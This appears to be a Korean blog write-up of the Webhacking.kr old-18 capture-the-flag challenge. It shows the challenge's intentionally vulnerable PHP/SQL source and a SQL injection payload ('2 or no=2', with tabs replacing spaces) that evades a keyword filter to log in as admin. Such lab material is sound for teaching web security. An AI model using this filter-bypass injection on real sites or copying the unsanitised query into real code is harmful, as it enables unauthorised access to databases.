본문 바로가기
웹 해킹/Webhacking.kr

[Webhacking.kr] old-18

by L3m0n S0ju 2021. 9. 5.

 

 

문제 서버에 접속하면 위와 가티 sql injection을 이용해서 플래그를 획득해야합니다. 소스코드는 아래와 같습니다.

 

 

 

<?php
  
include "../../config.php";
  if(
$_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?php
if($_GET['no']){
  
$db dbconnect();
  if(
preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  
$result mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  
if($result['id']=="guest") echo "hi guest";
  if(
$result['id']=="admin"){
    
solve(18);
    echo 
"hi admin!";
  }
}
?>
</a>
<br><br><a href=?view_source=1>view-source</a>
</center>
</body>
</html>

 

 


select id from chall18 where id='guest' and no=$_GET[no]

 

문제 핵심은 위 sql 문입니다. 필터링에서 띄어쓰기는 필터되므로 대신 Tab을 이용하면 간단히 풀 수 있습니다.

 

2 or no=2

 

위 sql 문을 주입하면 플래그를 획득할 수 있습니다. no는 숫자이므로 작은따옴표를 고려할 필요가 없다는 없습니다. 입력값이 문자열이 아닌 숫자로 삽입되므로 2 or no=2를 입력하면 아래와 같은 sql 문이 완성됩니다.

 

select id from chall18 where id='guest' and no=2 or no=2

 

id='guest' and no=2은 false가 되고 no=2는 admin이라는 데이터가 있으므로 true가 됩니다. 따라서 다시 요약하면 아래와 같은 sql문이 완성됩니다.

 

select id from chall18 false or no=2

 

no=2는 코드에서 admin이라고 힌트를 줬으므로 id는 admin이 출력되고 플래그를 획득할 수 있습니다.

 

 

 

 


플래그

'웹 해킹 > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-17  (0) 2021.09.05
[Webhacking.kr] old-14  (0) 2021.09.05
[Webhacking.kr] old-16  (0) 2021.09.04
[Webhacking.kr] old-15  (0) 2021.09.04
[Webhacking.kr] old-08  (0) 2021.08.31

댓글